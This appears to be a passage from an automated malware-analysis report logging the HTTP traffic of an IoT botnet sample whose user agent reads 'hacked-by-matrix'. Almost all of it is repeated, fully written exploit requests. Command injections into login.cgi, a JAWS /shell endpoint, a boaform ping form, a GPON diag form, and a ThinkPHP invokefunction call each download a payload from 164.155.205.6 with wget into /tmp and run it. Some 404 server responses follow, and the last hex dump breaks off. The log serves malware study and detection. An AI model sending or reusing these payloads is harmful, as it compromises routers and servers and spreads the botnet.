Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: hacked-by-matrixAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:31 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:31 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:37 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:37 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:37 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:37 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/plain; charset=utf-8content-encoding: gzipdate: Sat, 02 Mar 2024 11:37:42 GMTconnection: keep-alivekeep-alive: timeout=5transfer-encoding: chunkedserver: Fly/8f449382 (2024-03-01)via: 1.1 fly.iofly-request-id: 01HQZF990QA4G92H42TY0SZM37-lgaData Raw: 31 44 0d 0a 1f 8b 08 00 00 00 00 00 04 ff f3 cb 2f 51 70 cb 2f cd 4b 01 00 4d 8c 74 b1 09 00 00 00 0d 0a Data Ascii: 1D/Qp/KMt
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:37:43 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:37:44 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 